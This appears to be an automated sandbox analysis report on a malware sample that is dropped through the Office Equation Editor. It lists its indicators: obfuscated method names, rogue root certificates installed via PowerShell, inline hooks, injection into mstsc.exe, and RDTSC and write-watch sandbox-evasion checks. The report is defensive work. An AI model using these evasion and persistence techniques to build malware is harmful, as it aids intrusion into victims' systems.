Source: 5.2.ihbgfbin.exe.8260000.5.raw.unpack, GUfLMezVVBW6DFoN6c.cs High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'BoQTgf9FTo', 'PUuTXfoaIl', 'TYuTA7sTXQ', 'a4KT94ZwR8', 'cD6TN5wZP4', 'SGGTTTUSWT', 'eKLTipE5dc'
Source: 5.2.ihbgfbin.exe.8260000.5.raw.unpack, Su1oSotSjI2spxQEP1.cs High entropy of concatenated method names: 'mi6NvN0ZLC', 'UPxNn7p2wc', 'wOlN3hymm2', 'KlUNWiHnN7', 'wZnNBRJOqC', 'BPwNlMdlpN', 'Next', 'Next', 'Next', 'NextBytes'
Source: 5.2.ihbgfbin.exe.8260000.5.raw.unpack, XWDdYZHHnPlrZu8iea.cs High entropy of concatenated method names: 'hn7gkYRTE9', 'Ik4gcHDC6s', 'Ja2gvkYOn3', 'upOgn1L7Hl', 'mDbgWLBbLH', 'oyuglpv6wf', 'wxLgwbXwgi', 'Iu2g6XB7it', 'VZZgrRPvBy', 'RgcgSFopSH'
Source: 5.2.ihbgfbin.exe.8260000.5.raw.unpack, LUlxKFsPGecqmhiLmG.cs High entropy of concatenated method names: 'bhtpZhhn70', 'ReZpOs4Nne', 'ffVpC7cq6N', 'bT5pHcvSOs', 'fWupUWsB4m', 'zsVpsVSnOK', 'EOfpIQBOvE', 'oq6pkxonfk', 'SL7pc9iml5', 'JG3p1GXvN4'
Source: 5.2.ihbgfbin.exe.8260000.5.raw.unpack, JqoaEHn6fskh1axBN5.cs High entropy of concatenated method names: 'uZAJBd5k0U', 'yk2JmXD1ud', 'hWbJon4D3D', 'YOEJLeKQeN', 'DACJeMXjPl', 'CfgJEyWGU7', 'PWiJGA222V', 'O4WJPf7fGq', 'id0JjO6uWb', 'BS2JaXAhDP'

Persistence and Installation Behavior
barindex
Installs new ROOT certificates
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob Jump to behavior
Drops PE files
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Roaming\ihbgfbin.exe Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\4q0pGnqqpgTTSL7[1].exe Jump to dropped file

Hooking and other Techniques for Hiding and Protection
barindex
Modifies the prolog of user mode functions (user mode inline hooks)
Source: explorer.exe User mode code has changed: module: USER32.dll function: PeekMessageA new code: 0x48 0x8B 0xB8 0x8C 0xCE 0xE6
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_009188BF IsIconic,GetWindowPlacement,GetLastError,IsZoomed,SetWindowPlacement,GetLastError,SetWindowPos,SetWindowPos,GetClientRect,MoveWindow, 10_2_009188BF
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_00918810 IsIconic,GetWindowPlacement,GetLastError, 10_2_00918810
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_0091C869 LoadCursorW,SetCursor,DefWindowProcW,IsIconic,GetCursorPos,GetTitleBarInfo,SetCursorPos,SendMessageW, 10_2_0091C869
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_009199FA DefWindowProcW,IsIconic,GetClientRect,GetLastError,VariantClear,CheckMenuItem,DefWindowProcW, 10_2_009199FA
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_0091C134 IsWindowVisible,IsIconic, 10_2_0091C134
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_00950BF5 GetWindowRect,GetWindowRect,IsWindow,IsIconic,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetWindowRect,PtInRect,PtInRect,PtInRect,SystemParametersInfoW,CopyRect,SetWindowPos, 10_2_00950BF5
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_0091B319 LockWindowUpdate,IsIconic,GetWindowPlacement,GetWindowLongW,SetWindowLongW,SetWindowLongW,SetWindowLongW,ShowWindow,SetWindowPos,SetWindowPos,SetWindowPos,LockWindowUpdate, 10_2_0091B319
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_0091A341 IsZoomed,IsIconic,EnableMenuItem,EnableMenuItem,EnableMenuItem,EnableMenuItem,EnableMenuItem,EnableMenuItem,EnableMenuItem,EnableMenuItem, 10_2_0091A341
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_0091BCCB GetWindowRect,GetWindowLongW,GetWindowLongW,GetWindowLongW,AdjustWindowRectEx,IntersectRect,MoveWindow,IsIconic,GetWindowPlacement, 10_2_0091BCCB
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_00916416 IsIconic,GetWindowPlacement,GetWindowRect, 10_2_00916416
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion
barindex
Switches to a custom stack to bypass stack traces
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe API/Special instruction interceptor: Address: 7731BECA
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe API/Special instruction interceptor: Address: 7731D51A
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe API/Special instruction interceptor: Address: 7731D26A
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe API/Special instruction interceptor: Address: 7731C18A
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe API/Special instruction interceptor: Address: 7731C25A
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe API/Special instruction interceptor: Address: 7731BE2A
Source: C:\Windows\SysWOW64\mstsc.exe API/Special instruction interceptor: Address: 7731BECA
Source: C:\Windows\SysWOW64\mstsc.exe API/Special instruction interceptor: Address: 7731D51A
Source: C:\Windows\SysWOW64\mstsc.exe API/Special instruction interceptor: Address: 7731C1DA
Source: C:\Windows\SysWOW64\mstsc.exe API/Special instruction interceptor: Address: 7731BFBA
Source: C:\Windows\SysWOW64\mstsc.exe API/Special instruction interceptor: Address: 7731BFDA
Source: C:\Windows\SysWOW64\mstsc.exe API/Special instruction interceptor: Address: 7731BE2A
Source: C:\Windows\SysWOW64\mstsc.exe API/Special instruction interceptor: Address: 7731D26A
Source: C:\Windows\SysWOW64\mstsc.exe API/Special instruction interceptor: Address: 7731C18A
Source: C:\Windows\SysWOW64\mstsc.exe API/Special instruction interceptor: Address: 7731C25A
Tries to detect virtualization through RDTSC time measurements
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe RDTSC instruction interceptor: First address: 409904 second address: 40990A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe RDTSC instruction interceptor: First address: 409B7E second address: 409B84 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\mstsc.exe RDTSC instruction interceptor: First address: 89904 second address: 8990A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\mstsc.exe RDTSC instruction interceptor: First address: 89B7E second address: 89B84 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Allocates memory with a write watch (potentially for evading sandboxes)
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Memory allocated: 1B0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Memory allocated: 24F0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Memory allocated: 250000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Memory allocated: 5FB0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Memory allocated: 5120000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Memory allocated: 6FB0000 memory reserve | memory write watch Jump to behavior
